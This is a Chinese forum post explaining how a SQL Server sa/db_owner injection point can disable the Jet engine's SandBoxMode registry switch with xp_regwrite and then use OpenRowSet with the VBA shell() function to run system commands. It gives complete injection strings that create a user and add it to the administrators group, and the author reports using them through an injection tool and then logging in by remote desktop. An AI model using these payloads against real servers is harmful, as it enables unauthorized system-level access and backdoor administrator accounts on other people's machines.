设为首页 收藏本站
查看: 618|回复: 0

[经验分享] [sql server][access]沙盒漏洞

[复制链接]

尚未签到

发表于 2016-11-2 03:14:40 | 显示全部楼层 |阅读模式
  
首先我在<Jet引擎可以调用VBA的shell()函数>(http://www.520hack.com)这份资料知道在accessl里可以直接进行sql查询,具体的在Access中测试.测试的SQL语句如下:
  Select shell('c:/windows/system32/cmd.exe /c net user ray 123 /ad');
  查看计算机管理的本地用户,马上发现多出一个ray用户,说明语句成功执行了.接下来写一个VBS脚本任意连接一个mdb来测试这个SQL语句
  Set Conn=Createobject("Adodb.Connection")
  Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
  Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
  运行后会出现"表达式中的'Shell'函数未定义"的错误,<Jet引擎可以调用VBA的shell()函数>提到WINDOWS在Jet 引擎中设置了一个名为SandBoxMode的开关,它的注册表位置在HKEY_LOCAL_MACHINE/SoftWare/Microsoft/ Jet/4.0/Engine/SandBoxMode里,0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,2则是必须是Access 的模式下,3则是完全开启安全设置.默认情况下为2,只能在Access的模式下调用VBA的shell()函数,我们尝试将此注册表值改为0,结果成功的运行了VBS利用Jet引擎可以调用VBA的shell()函数执行了系统命令.
  
通常一台MSSQL服务器同时支持Access数据库,所以只要有一个sa或者dbowner的连接,就满足了修改注册表的条件,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下
  
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
  
如果存在一个sa或者dbowner的连接的SQL注入点,就可以构造出如下注入语句
  InjectionURL;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engine','SandBoxMode','REG_DWORD','0'--
  那我们将SandBoxMode开关的注册表值修改为0就成功了.接着连接到一个Access数据库中,就可以执行系统命令,当然执行系统命令我们只需要一个Access数据库相关Select的注入点或者直接用ASP文件Select调用这个VBA的shell()函数,但是实际上MSSQL有一个的OpenRowSet函数,它的作用是打开一个特殊的数据库或者连接到另一个数据库之中.当我们有一个SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,同时我们搜索系统文件会发现windows系统目录下本身就存在两个Access数据库,位置在%windir%/ system32/ias/ias.mdb或者%windir%/system32/ias/dnary.mdb,这样一来我们又可以利用 OpenRowSet函数构造出如下注入语句:
  InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/winnt/system32/ias/ias.mdb','select shell("net user ray 123 /ad")');--
  
如果你觉得不大好懂的话,我可以给你做一个简化的理解:
  1,Access可以调用VBS的函数,以System权限执行任意命令
  2,Access执行这个命令是有条件的,需要一个开关被打开
  3,这个开关在注册表里
  4,SA是有权限写注册表的
  5,用SA写注册表的权限打开那个开关
  6,调用Access里的执行命令方法,以system权限执行任意命令
  所以,今天我使用HDSI的执行SQL命令,执行了以下命令:
  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0
  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net user zyqq 123 /add")');
  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators zyqq /add")');
  最后,用这个新加上的用户,成功登陆3389!

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-294308-1-1.html 上篇帖子: SQL SERVER查询效率最差的SQL语句 下篇帖子: SQL SERVER 2005 无法显示中文问题
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表